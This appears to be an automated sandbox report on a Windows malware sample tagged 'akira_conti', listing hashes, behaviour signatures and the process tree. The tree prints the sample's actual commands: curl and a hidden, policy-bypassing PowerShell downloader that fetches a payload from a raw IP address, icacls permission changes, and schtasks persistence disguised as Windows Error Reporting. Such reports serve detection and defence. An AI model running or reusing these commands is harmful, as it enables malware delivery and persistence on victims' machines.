Analysis

  • max time kernel
    149s
  • max time network
    133s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/10/2026, 11:21

General

  • Target
    2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe
  • Size 355KB
  • Sample261003-nf17vach49
  • SHA256 639a1a0d80c8f02e267db00be6c68101b0c79e9aa6562e35c96659c6cfeae487
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://193.233.247.16:5173/api/file-share/b630a4a0-53c1-4fe6-a36e-a1ef8d073acd/download

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Executes dropped EXE 2 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-02_63d7798fd0f32c1010b4d471a344bb55_akira_conti.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1396
    • C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" -k -L --silent --show-error --output C:\ProgramData\Microsoft\Windows\WER\werdata.db https://193.233.247.16:5173/api/file-share/b630a4a0-53c1-4fe6-a36e-a1ef8d073acd/download
      2⤵
        PID:5388
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$ProgressPreference='SilentlyContinue'; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; [Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }; try { Invoke-WebRequest -Uri 'https://193.233.247.16:5173/api/file-share/b630a4a0-53c1-4fe6-a36e-a1ef8d073acd/download' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db' -UseBasicParsing } catch { }; if (-not (Test-Path 'C:\ProgramData\Microsoft\Windows\WER\werdata.db')) { try { (New-Object Net.WebClient).DownloadFile('https://193.233.247.16:5173/api/file-share/b630a4a0-53c1-4fe6-a36e-a1ef8d073acd/download', 'C:\ProgramData\Microsoft\Windows\WER\werdata.db') } catch { } }"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2912
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" C:\ProgramData\Microsoft\Windows\WER\WerFault.exe /grant Users:RX /C /Q
        2⤵
        • Modifies file permissions
        PID:4468
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" C:\ProgramData\Microsoft\Windows\WER\werdata.db /grant Users:RX /C /Q
        2⤵
        • Modifies file permissions
        PID:4108
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" C:\ProgramData\Microsoft\Windows\WER /grant Users:(OI)(CI)RX /T /C /Q
        2⤵
        • Modifies file permissions
        PID:1708
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /Delete /TN WindowsErrorReporting /F
        2⤵
          PID:2404
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /Delete /TN WindowsErrorReportingHourly /F
          2⤵
            PID:2096
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /Create /TN WindowsErrorReporting /XML C:\ProgramData\Microsoft\Windows\WER\wer_onlogon.xml /F
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:6120
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /Create /TN WindowsErrorReportingHourly /XML C:\ProgramData\Microsoft\Windows\WER\wer_hourly.xml /F
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3468
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /Create /TN WindowsErrorReporting /TR C:\ProgramData\Microsoft\Windows\WER\WerFault.exe /SC ONLOGON /IT /F
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3988
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /Create /TN WindowsErrorReportingHourly /TR C:\ProgramData\Microsoft\Windows\WER\WerFault.exe /SC HOURLY /MO 2 /IT /F
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1004
          • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
            "C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"
            2⤵
            • Executes dropped EXE
            PID:1104
        • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
          C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3880
          • C:\Windows\system32\curl.exe
            "C:\Windows\system32\curl.exe" -k -L --silent --show-error --output C:\ProgramData\Microsoft\Windows\WER\werdata.db https://193.233.247.16:5173/api/file-share/b630a4a0-53c1-4fe6-a36e-a1ef8d073acd/download
            2⤵
              PID:4548

          Network

                MITRE ATT&CK Enterprise v16

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                Downloads

                WerFault.exe

                • Path C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
                • Size 355KB
                • SHA256 639a1a0d80c8f02e267db00be6c68101b0c79e9aa6562e35c96659c6cfeae487
                • MD5 SHA1 SHA512 SSDEEP TLSH

                wer_hourly.xml

                • Path C:\ProgramData\Microsoft\Windows\WER\wer_hourly.xml
                • Size 2KB
                • SHA256 7b676d2339455cfa6ae63f6b0df804440a781cb96acbf8753219c35346975961
                • MD5 SHA1 SHA512 TLSH

                wer_onlogon.xml

                • Path C:\ProgramData\Microsoft\Windows\WER\wer_onlogon.xml
                • Size 2KB
                • SHA256 fd2a23b21fa7120b1ea49ce7c07e4d8a69ba8a9b87bafc01d8073678f66f638e
                • MD5 SHA1 SHA512 TLSH

                werdata.db

                • Path C:\ProgramData\Microsoft\Windows\WER\werdata.db
                • Size 9.8MB
                • SHA256 39a7c38ebf6b5e5c24f245535c8fec21b4365c48c13e85645866dbac04726fb7
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/1104-30-0x00007FF60A170000-0x00007FF60A1D0000-memory.dmp

                memory/1396-29-0x00007FF74F840000-0x00007FF74F8A0000-memory.dmp

                memory/1396-0-0x00007FF74F840000-0x00007FF74F8A0000-memory.dmp

                memory/2912-8-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

                memory/2912-10-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

                memory/2912-12-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

                memory/2912-13-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

                memory/2912-15-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

                memory/2912-17-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

                memory/2912-22-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

                memory/2912-11-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

                memory/2912-9-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

                memory/2912-7-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

                memory/2912-6-0x000001BA605B0000-0x000001BA605D2000-memory.dmp

                memory/2912-3-0x00007FFFED3B0000-0x00007FFFEDD54000-memory.dmp

                memory/2912-2-0x00007FFFED53F000-0x00007FFFED540000-memory.dmp

                memory/3880-33-0x0000028EE1160000-0x0000028EE1B2A000-memory.dmp

                memory/3880-35-0x0000028EE3F00000-0x0000028EE795F000-memory.dmp

                memory/3880-36-0x00007FF60A170000-0x00007FF60A1D0000-memory.dmp